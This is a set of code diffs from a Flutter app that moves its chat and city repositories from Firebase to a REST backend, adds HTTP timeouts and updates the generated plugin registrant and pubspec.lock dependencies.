bool isUpdateRequired(String? current, String? minimum) {
|
||||
final result = compareVersions(current, minimum);
|
||||
if (result == null) return false;
|
||||
return result < 0;
|
||||
}
|
||||
|
||||
List<int>? _segments(String? version) {
|
||||
if (version == null) return null;
|
||||
final trimmed = version.trim();
|
||||
if (trimmed.isEmpty) return null;
|
||||
|
||||
// Tolerate build suffixes such as "1.0.14+14" or "1.0.14-beta".
|
||||
final core = trimmed.split(RegExp(r'[+\-]')).first;
|
||||
final parts = core.split('.');
|
||||
final segments = <int>[];
|
||||
for (final part in parts) {
|
||||
final value = int.tryParse(part.trim());
|
||||
if (value == null) return null;
|
||||
segments.add(value);
|
||||
}
|
||||
return segments.isEmpty ? null : segments;
|
||||
}
|
||||
@@ -5,30 +5,22 @@
|
||||
import FlutterMacOS
|
||||
import Foundation
|
||||
|
||||
import cloud_firestore
|
||||
import file_selector_macos
|
||||
import firebase_auth
|
||||
import firebase_core
|
||||
import firebase_messaging
|
||||
import firebase_storage
|
||||
import flutter_local_notifications
|
||||
import geolocator_apple
|
||||
import google_sign_in_ios
|
||||
import location
|
||||
import package_info_plus
|
||||
import shared_preferences_foundation
|
||||
import url_launcher_macos
|
||||
|
||||
func RegisterGeneratedPlugins(registry: FlutterPluginRegistry) {
|
||||
FLTFirebaseFirestorePlugin.register(with: registry.registrar(forPlugin: "FLTFirebaseFirestorePlugin"))
|
||||
FileSelectorPlugin.register(with: registry.registrar(forPlugin: "FileSelectorPlugin"))
|
||||
FLTFirebaseAuthPlugin.register(with: registry.registrar(forPlugin: "FLTFirebaseAuthPlugin"))
|
||||
FLTFirebaseCorePlugin.register(with: registry.registrar(forPlugin: "FLTFirebaseCorePlugin"))
|
||||
FLTFirebaseMessagingPlugin.register(with: registry.registrar(forPlugin: "FLTFirebaseMessagingPlugin"))
|
||||
FLTFirebaseStoragePlugin.register(with: registry.registrar(forPlugin: "FLTFirebaseStoragePlugin"))
|
||||
FlutterLocalNotificationsPlugin.register(with: registry.registrar(forPlugin: "FlutterLocalNotificationsPlugin"))
|
||||
GeolocatorPlugin.register(with: registry.registrar(forPlugin: "GeolocatorPlugin"))
|
||||
FLTGoogleSignInPlugin.register(with: registry.registrar(forPlugin: "FLTGoogleSignInPlugin"))
|
||||
LocationPlugin.register(with: registry.registrar(forPlugin: "LocationPlugin"))
|
||||
FPPPackageInfoPlusPlugin.register(with: registry.registrar(forPlugin: "FPPPackageInfoPlusPlugin"))
|
||||
SharedPreferencesPlugin.register(with: registry.registrar(forPlugin: "SharedPreferencesPlugin"))
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
library chat_repository;
|
||||
|
||||
export 'src/entities/entities.dart';
|
||||
export 'src/repositories/firebase_chat_repository.dart';
|
||||
export 'src/repositories/api_chat_repository.dart';
|
||||
|
||||
@@ -4,6 +4,8 @@ import 'package:http/http.dart' as http;
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
import 'package:chat_repository/chat_repository.dart';
|
||||
|
||||
const _kHttpTimeout = Duration(seconds: 20);
|
||||
|
||||
const _base = 'https://backend.prosapp.co/api/v1';
|
||||
|
||||
/// API-backed replacement for FirebaseChatRepository.
|
||||
@@ -27,8 +29,10 @@ class ApiChatRepository {
|
||||
|
||||
ChatEntity _chatFromApi(Map<String, dynamic> json) {
|
||||
final rawMessages = json['messages'] as List? ?? [];
|
||||
// _msgFromApi, not MessageEntity.fromDocument: the backend sends
|
||||
// `sender_id` while fromDocument hard-casts `owner_id`.
|
||||
final messages = rawMessages
|
||||
.map((m) => MessageEntity.fromDocument(m as Map<String, dynamic>))
|
||||
.map((m) => _msgFromApi(m as Map<String, dynamic>))
|
||||
.toList();
|
||||
return ChatEntity(
|
||||
id: json['id']?.toString(),
|
||||
@@ -50,59 +54,68 @@ class ApiChatRepository {
|
||||
);
|
||||
}
|
||||
|
||||
/// Get or create a chat session. Maps to POST /chat/start/:professionalUserId.
|
||||
/// [chatId] here is used as the professional's userId for the REST call.
|
||||
Future<ChatEntity> createNewChat(
|
||||
String chatId, String userId, String professionalId) async {
|
||||
final res = await http.post(
|
||||
Uri.parse('$_base/chat/start/$professionalId'),
|
||||
/// Opens the conversation with a professional, creating it if needed.
|
||||
///
|
||||
/// `POST /chat/start/:professionalUserId` is idempotent: calling it again
|
||||
/// returns the same chat. The returned `id` is the **chat** id, which is what
|
||||
/// every other chat endpoint is keyed by — not the service id.
|
||||
Future<ChatEntity> startChat(String professionalUserId) async {
|
||||
final res = await http
|
||||
.post(
|
||||
Uri.parse('$_base/chat/start/$professionalUserId'),
|
||||
headers: await _headers(),
|
||||
)
|
||||
.timeout(_kHttpTimeout);
|
||||
if (res.statusCode >= 400) {
|
||||
throw Exception('No se pudo abrir el chat (${res.statusCode})');
|
||||
}
|
||||
return _chatFromApi(jsonDecode(res.body) as Map<String, dynamic>);
|
||||
}
|
||||
|
||||
/// Loads the conversation plus its messages, ready to render.
|
||||
Future<ChatEntity> loadConversation(String professionalUserId) async {
|
||||
final chat = await startChat(professionalUserId);
|
||||
final messages = await fetchMessages(chat.id ?? '');
|
||||
return ChatEntity(
|
||||
id: chat.id,
|
||||
userId: chat.userId,
|
||||
professionalId: chat.professionalId,
|
||||
messages: messages,
|
||||
);
|
||||
final data = jsonDecode(res.body) as Map<String, dynamic>;
|
||||
return _chatFromApi(data);
|
||||
}
|
||||
|
||||
/// Streams a single chat by its ID. Fetches once and emits.
|
||||
Stream<ChatEntity?> getChatById(String chatId) {
|
||||
final controller = StreamController<ChatEntity?>();
|
||||
_fetchChat(chatId).then((chat) {
|
||||
controller.add(chat);
|
||||
controller.close();
|
||||
}).catchError((e) {
|
||||
controller.add(null);
|
||||
controller.close();
|
||||
});
|
||||
return controller.stream;
|
||||
}
|
||||
|
||||
Future<ChatEntity?> _fetchChat(String chatId) async {
|
||||
try {
|
||||
// Try to get messages for this chat — if the chat exists it'll succeed
|
||||
final res = await http.get(
|
||||
/// Messages come back wrapped as `{ "data": [...], "meta": {...} }`.
|
||||
/// Reading the body as a bare list threw and surfaced as an empty chat.
|
||||
Future<List<MessageEntity>> fetchMessages(String chatId) async {
|
||||
final res = await http
|
||||
.get(
|
||||
Uri.parse('$_base/chat/$chatId/messages'),
|
||||
headers: await _headers(),
|
||||
);
|
||||
if (res.statusCode == 404) return null;
|
||||
final messages = jsonDecode(res.body) as List? ?? [];
|
||||
return ChatEntity(
|
||||
id: chatId,
|
||||
userId: '',
|
||||
professionalId: '',
|
||||
messages: messages
|
||||
.map((m) => _msgFromApi(m as Map<String, dynamic>))
|
||||
.toList(),
|
||||
);
|
||||
} catch (_) {
|
||||
return null;
|
||||
)
|
||||
.timeout(_kHttpTimeout);
|
||||
if (res.statusCode >= 400) {
|
||||
throw Exception('No se pudieron cargar los mensajes (${res.statusCode})');
|
||||
}
|
||||
final body = jsonDecode(res.body);
|
||||
final raw = body is Map ? (body['data'] as List? ?? []) : (body as List? ?? []);
|
||||
return raw
|
||||
.map((m) => _msgFromApi(m as Map<String, dynamic>))
|
||||
.toList();
|
||||
}
|
||||
|
||||
Future<void> sendMessage(String chatId, MessageEntity message) async {
|
||||
await http.post(
|
||||
/// Posts a message and returns it as stored by the backend.
|
||||
Future<MessageEntity> sendMessage(String chatId, MessageEntity message) async {
|
||||
final res = await http
|
||||
.post(
|
||||
Uri.parse('$_base/chat/$chatId/message'),
|
||||
headers: await _headers(),
|
||||
body: jsonEncode({'content': message.content}),
|
||||
);
|
||||
)
|
||||
.timeout(_kHttpTimeout);
|
||||
if (res.statusCode >= 400) {
|
||||
throw Exception('No se pudo enviar el mensaje (${res.statusCode})');
|
||||
}
|
||||
return _msgFromApi(jsonDecode(res.body) as Map<String, dynamic>);
|
||||
}
|
||||
|
||||
/// Get all chats for the current user.
|
||||
@@ -111,7 +124,7 @@ class ApiChatRepository {
|
||||
final res = await http.get(
|
||||
Uri.parse('$_base/chat/my'),
|
||||
headers: await _headers(),
|
||||
);
|
||||
).timeout(_kHttpTimeout);
|
||||
final data = jsonDecode(res.body) as List? ?? [];
|
||||
return data.map((e) => _chatFromApi(e as Map<String, dynamic>)).toList();
|
||||
} catch (_) {
|
||||
|
||||
@@ -1,14 +1,6 @@
|
||||
# Generated by pub
|
||||
# See https://dart.dev/tools/pub/glossary#lockfile
|
||||
packages:
|
||||
_flutterfire_internals:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: _flutterfire_internals
|
||||
sha256: "4eec93681221723a686ad580c2e7d960e1017cf1a4e0a263c2573c2c6b0bf5cd"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.3.25"
|
||||
async:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -41,30 +33,6 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.1.1"
|
||||
cloud_firestore:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: cloud_firestore
|
||||
sha256: "31cfa4d65d6e9ea837234fffe121304034c30c9214c06207b4a35867e3757900"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "4.15.8"
|
||||
cloud_firestore_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: cloud_firestore_platform_interface
|
||||
sha256: a0097a26569b015faf8142e159e855241609ea9a1738b5fd1c40bfe8411b41a0
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "6.1.9"
|
||||
cloud_firestore_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: cloud_firestore_web
|
||||
sha256: ed680ece29a5750985119c09cdc276b460c3a2fa80e8c12f9b7241f6b4a7ca16
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.10.8"
|
||||
collection:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -89,30 +57,22 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.3.1"
|
||||
firebase_core:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: firebase_core
|
||||
sha256: "53316975310c8af75a96e365f9fccb67d1c544ef0acdbf0d88bbe30eedd1c4f9"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.27.0"
|
||||
firebase_core_platform_interface:
|
||||
ffi:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_core_platform_interface
|
||||
sha256: c437ae5d17e6b5cc7981cf6fd458a5db4d12979905f9aafd1fea930428a9fe63
|
||||
name: ffi
|
||||
sha256: "16ed7b077ef01ad6170a3d0c57caa4a112a38d7a2ed5602e0aca9ca6f3d98da6"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "5.0.0"
|
||||
firebase_core_web:
|
||||
version: "2.1.3"
|
||||
file:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_core_web
|
||||
sha256: c8e1d59385eee98de63c92f961d2a7062c5d9a65e7f45bdc7f1b0b205aab2492
|
||||
name: file
|
||||
sha256: a3b4f84adafef897088c160faf7dfffb7696046cb13ae90b508c2cbc95d3b8d4
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.11.5"
|
||||
version: "7.0.1"
|
||||
flutter:
|
||||
dependency: "direct main"
|
||||
description: flutter
|
||||
@@ -136,30 +96,38 @@ packages:
|
||||
description: flutter
|
||||
source: sdk
|
||||
version: "0.0.0"
|
||||
js:
|
||||
dependency: transitive
|
||||
http:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: js
|
||||
sha256: f2c445dce49627136094980615a031419f7f3eb393237e4ecd97ac15dea343f3
|
||||
name: http
|
||||
sha256: "87721a4a50b19c7f1d49001e51409bddc46303966ce89a65af4f4e6004896412"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.6.7"
|
||||
version: "1.6.0"
|
||||
http_parser:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: http_parser
|
||||
sha256: "2aa08ce0341cc9b354a498388e30986515406668dbcc4f7c950c3e715496693b"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "4.0.2"
|
||||
leak_tracker:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: leak_tracker
|
||||
sha256: "7f0df31977cb2c0b88585095d168e689669a2cc9b97c309665e3386f3e9d341a"
|
||||
sha256: "3f87a60e8c63aecc975dda1ceedbc8f24de75f09e4856ea27daf8958f2f0ce05"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "10.0.4"
|
||||
version: "10.0.5"
|
||||
leak_tracker_flutter_testing:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: leak_tracker_flutter_testing
|
||||
sha256: "06e98f569d004c1315b991ded39924b21af84cf14cc94791b8aea337d25b57f8"
|
||||
sha256: "932549fb305594d82d7183ecd9fa93463e9914e1b67cacc34bc40906594a1806"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.0.3"
|
||||
version: "3.0.5"
|
||||
leak_tracker_testing:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -188,18 +156,18 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: material_color_utilities
|
||||
sha256: "0e0a020085b65b6083975e499759762399b4475f766c21668c4ecca34ea74e5a"
|
||||
sha256: f7142bb1154231d7ea5f96bc7bde4bda2a0945d2806bb11670e30b850d56bdec
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.8.0"
|
||||
version: "0.11.1"
|
||||
meta:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: meta
|
||||
sha256: "7687075e408b093f36e6bbf6c91878cc0d4cd10f409506f7bc996f68220b9136"
|
||||
sha256: bdb68674043280c3428e9ec998512fb681678676b3c54e773629ffe74419f8c7
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.12.0"
|
||||
version: "1.15.0"
|
||||
path:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -208,6 +176,38 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.9.0"
|
||||
path_provider_linux:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_linux
|
||||
sha256: f7a1fe3a634fe7734c8d3f2766ad746ae2a2884abe22e241a8b301bf5cac3279
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.2.1"
|
||||
path_provider_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_platform_interface
|
||||
sha256: "88f5779f72ba699763fa3a3b06aa4bf6de76c8e5de842cf6f29e2e06476c2334"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.1.2"
|
||||
path_provider_windows:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_windows
|
||||
sha256: bd6f00dbd873bfb70d0761682da2b3a2c2fccc2b9e84c495821639601d81afe7
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.3.0"
|
||||
platform:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: platform
|
||||
sha256: "5d6b1b0036a5f331ebc77c850ebc8506cbc1e9416c27e59b439f917a902a4984"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.1.6"
|
||||
plugin_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -216,6 +216,62 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.1.8"
|
||||
shared_preferences:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: shared_preferences
|
||||
sha256: "6e8bf70b7fef813df4e9a36f658ac46d107db4b4cfe1048b477d4e453a8159f5"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.5.3"
|
||||
shared_preferences_android:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_android
|
||||
sha256: "9f9f3d372d4304723e6136663bb291c0b93f5e4c8a4a6314347f481a33bda2b1"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.7"
|
||||
shared_preferences_foundation:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_foundation
|
||||
sha256: "6a52cfcdaeac77cad8c97b539ff688ccfc458c007b4db12be584fbe5c0e49e03"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.5.4"
|
||||
shared_preferences_linux:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_linux
|
||||
sha256: "580abfd40f415611503cae30adf626e6656dfb2f0cee8f465ece7b6defb40f2f"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
shared_preferences_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_platform_interface
|
||||
sha256: "57cbf196c486bc2cf1f02b85784932c6094376284b3ad5779d1b1c6c6a816b80"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
shared_preferences_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_web
|
||||
sha256: c49bd060261c9a3f0ff445892695d6212ff603ef3115edbb448509d407600019
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.3"
|
||||
shared_preferences_windows:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_windows
|
||||
sha256: "94ef0f72b2d71bc3e700e025db3710911bd51a71cefb65cc609dd0d9a982e3c1"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
sky_engine:
|
||||
dependency: transitive
|
||||
description: flutter
|
||||
@@ -265,10 +321,18 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: test_api
|
||||
sha256: "9955ae474176f7ac8ee4e989dadfb411a58c30415bcfb648fa04b2b8a03afa7f"
|
||||
sha256: "5b8a98dafc4d5c4c9c72d8b31ab2b23fc13422348d2997120294d3bac86b4ddb"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.7.0"
|
||||
version: "0.7.2"
|
||||
typed_data:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: typed_data
|
||||
sha256: f9049c039ebfeb4cf7a7104a675823cd72dba8297f264b6637062516699fa006
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.4.0"
|
||||
vector_math:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -281,18 +345,26 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: vm_service
|
||||
sha256: "3923c89304b715fb1eb6423f017651664a03bf5f4b29983627c4da791f74a4ec"
|
||||
sha256: "5c5f338a667b4c644744b661f309fb8080bb94b18a7e91ef1dbd343bed00ed6d"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "14.2.1"
|
||||
version: "14.2.5"
|
||||
web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: web
|
||||
sha256: afe077240a270dcfd2aafe77602b4113645af95d0ad31128cc02bce5ac5d5152
|
||||
sha256: "868d88a33d8a87b18ffc05f9f030ba328ffefba92d6c127917a2ba740f9cfe4a"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.3.0"
|
||||
version: "1.1.1"
|
||||
xdg_directories:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: xdg_directories
|
||||
sha256: "7a3f37b05d989967cdddcbb571f1ea834867ae2faa29725fd085180e0883aa15"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.1.0"
|
||||
sdks:
|
||||
dart: ">=3.3.0 <4.0.0"
|
||||
flutter: ">=3.18.0-18.0.pre.54"
|
||||
dart: ">=3.5.0 <4.0.0"
|
||||
flutter: ">=3.24.0"
|
||||
|
||||
@@ -3,5 +3,4 @@ library city_repository;
|
||||
export 'src/models/models.dart';
|
||||
export 'src/entities/entities.dart';
|
||||
export 'src/repositories/city_repo.dart';
|
||||
export 'src/repositories/firebase_city_repository.dart';
|
||||
export 'src/repositories/api_city_repository.dart';
|
||||
|
||||
@@ -5,6 +5,8 @@ import 'package:shared_preferences/shared_preferences.dart';
|
||||
import 'package:city_repository/city_repository.dart';
|
||||
import 'city_repo.dart';
|
||||
|
||||
const _kHttpTimeout = Duration(seconds: 20);
|
||||
|
||||
const _base = 'https://backend.prosapp.co/api/v1';
|
||||
|
||||
class ApiCityRepository implements CityRepository {
|
||||
@@ -33,7 +35,7 @@ class ApiCityRepository implements CityRepository {
|
||||
final countriesRes = await http.get(
|
||||
Uri.parse('$_base/locations/countries'),
|
||||
headers: await _headers(),
|
||||
);
|
||||
).timeout(_kHttpTimeout);
|
||||
final countries = jsonDecode(countriesRes.body) as List;
|
||||
|
||||
for (final country in countries) {
|
||||
@@ -43,7 +45,7 @@ class ApiCityRepository implements CityRepository {
|
||||
final regionsRes = await http.get(
|
||||
Uri.parse('$_base/locations/countries/$countryId/regions'),
|
||||
headers: await _headers(),
|
||||
);
|
||||
).timeout(_kHttpTimeout);
|
||||
final regions = jsonDecode(regionsRes.body) as List;
|
||||
|
||||
for (final region in regions) {
|
||||
@@ -53,7 +55,7 @@ class ApiCityRepository implements CityRepository {
|
||||
final citiesRes = await http.get(
|
||||
Uri.parse('$_base/locations/regions/$regionId/cities'),
|
||||
headers: await _headers(),
|
||||
);
|
||||
).timeout(_kHttpTimeout);
|
||||
final citiesList = jsonDecode(citiesRes.body) as List;
|
||||
|
||||
for (final city in citiesList) {
|
||||
|
||||
@@ -1,14 +1,6 @@
|
||||
# Generated by pub
|
||||
# See https://dart.dev/tools/pub/glossary#lockfile
|
||||
packages:
|
||||
_flutterfire_internals:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: _flutterfire_internals
|
||||
sha256: "4eec93681221723a686ad580c2e7d960e1017cf1a4e0a263c2573c2c6b0bf5cd"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.3.25"
|
||||
async:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -41,30 +33,6 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.1.1"
|
||||
cloud_firestore:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: cloud_firestore
|
||||
sha256: "31cfa4d65d6e9ea837234fffe121304034c30c9214c06207b4a35867e3757900"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "4.15.8"
|
||||
cloud_firestore_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: cloud_firestore_platform_interface
|
||||
sha256: a0097a26569b015faf8142e159e855241609ea9a1738b5fd1c40bfe8411b41a0
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "6.1.9"
|
||||
cloud_firestore_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: cloud_firestore_web
|
||||
sha256: ed680ece29a5750985119c09cdc276b460c3a2fa80e8c12f9b7241f6b4a7ca16
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.10.8"
|
||||
collection:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -89,30 +57,22 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.3.1"
|
||||
firebase_core:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: firebase_core
|
||||
sha256: "53316975310c8af75a96e365f9fccb67d1c544ef0acdbf0d88bbe30eedd1c4f9"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.27.0"
|
||||
firebase_core_platform_interface:
|
||||
ffi:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_core_platform_interface
|
||||
sha256: c437ae5d17e6b5cc7981cf6fd458a5db4d12979905f9aafd1fea930428a9fe63
|
||||
name: ffi
|
||||
sha256: "16ed7b077ef01ad6170a3d0c57caa4a112a38d7a2ed5602e0aca9ca6f3d98da6"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "5.0.0"
|
||||
firebase_core_web:
|
||||
version: "2.1.3"
|
||||
file:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_core_web
|
||||
sha256: c8e1d59385eee98de63c92f961d2a7062c5d9a65e7f45bdc7f1b0b205aab2492
|
||||
name: file
|
||||
sha256: a3b4f84adafef897088c160faf7dfffb7696046cb13ae90b508c2cbc95d3b8d4
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.11.5"
|
||||
version: "7.0.1"
|
||||
flutter:
|
||||
dependency: "direct main"
|
||||
description: flutter
|
||||
@@ -136,30 +96,38 @@ packages:
|
||||
description: flutter
|
||||
source: sdk
|
||||
version: "0.0.0"
|
||||
js:
|
||||
dependency: transitive
|
||||
http:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: js
|
||||
sha256: f2c445dce49627136094980615a031419f7f3eb393237e4ecd97ac15dea343f3
|
||||
name: http
|
||||
sha256: "87721a4a50b19c7f1d49001e51409bddc46303966ce89a65af4f4e6004896412"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.6.7"
|
||||
version: "1.6.0"
|
||||
http_parser:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: http_parser
|
||||
sha256: "2aa08ce0341cc9b354a498388e30986515406668dbcc4f7c950c3e715496693b"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "4.0.2"
|
||||
leak_tracker:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: leak_tracker
|
||||
sha256: "7f0df31977cb2c0b88585095d168e689669a2cc9b97c309665e3386f3e9d341a"
|
||||
sha256: "3f87a60e8c63aecc975dda1ceedbc8f24de75f09e4856ea27daf8958f2f0ce05"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "10.0.4"
|
||||
version: "10.0.5"
|
||||
leak_tracker_flutter_testing:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: leak_tracker_flutter_testing
|
||||
sha256: "06e98f569d004c1315b991ded39924b21af84cf14cc94791b8aea337d25b57f8"
|
||||
sha256: "932549fb305594d82d7183ecd9fa93463e9914e1b67cacc34bc40906594a1806"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.0.3"
|
||||
version: "3.0.5"
|
||||
leak_tracker_testing:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -188,18 +156,18 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: material_color_utilities
|
||||
sha256: "0e0a020085b65b6083975e499759762399b4475f766c21668c4ecca34ea74e5a"
|
||||
sha256: f7142bb1154231d7ea5f96bc7bde4bda2a0945d2806bb11670e30b850d56bdec
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.8.0"
|
||||
version: "0.11.1"
|
||||
meta:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: meta
|
||||
sha256: "7687075e408b093f36e6bbf6c91878cc0d4cd10f409506f7bc996f68220b9136"
|
||||
sha256: bdb68674043280c3428e9ec998512fb681678676b3c54e773629ffe74419f8c7
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.12.0"
|
||||
version: "1.15.0"
|
||||
path:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -208,6 +176,38 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.9.0"
|
||||
path_provider_linux:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_linux
|
||||
sha256: f7a1fe3a634fe7734c8d3f2766ad746ae2a2884abe22e241a8b301bf5cac3279
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.2.1"
|
||||
path_provider_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_platform_interface
|
||||
sha256: "88f5779f72ba699763fa3a3b06aa4bf6de76c8e5de842cf6f29e2e06476c2334"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.1.2"
|
||||
path_provider_windows:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_windows
|
||||
sha256: bd6f00dbd873bfb70d0761682da2b3a2c2fccc2b9e84c495821639601d81afe7
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.3.0"
|
||||
platform:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: platform
|
||||
sha256: "5d6b1b0036a5f331ebc77c850ebc8506cbc1e9416c27e59b439f917a902a4984"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.1.6"
|
||||
plugin_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -216,6 +216,62 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.1.8"
|
||||
shared_preferences:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: shared_preferences
|
||||
sha256: "6e8bf70b7fef813df4e9a36f658ac46d107db4b4cfe1048b477d4e453a8159f5"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.5.3"
|
||||
shared_preferences_android:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_android
|
||||
sha256: "9f9f3d372d4304723e6136663bb291c0b93f5e4c8a4a6314347f481a33bda2b1"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.7"
|
||||
shared_preferences_foundation:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_foundation
|
||||
sha256: "6a52cfcdaeac77cad8c97b539ff688ccfc458c007b4db12be584fbe5c0e49e03"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.5.4"
|
||||
shared_preferences_linux:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_linux
|
||||
sha256: "580abfd40f415611503cae30adf626e6656dfb2f0cee8f465ece7b6defb40f2f"
|
||||
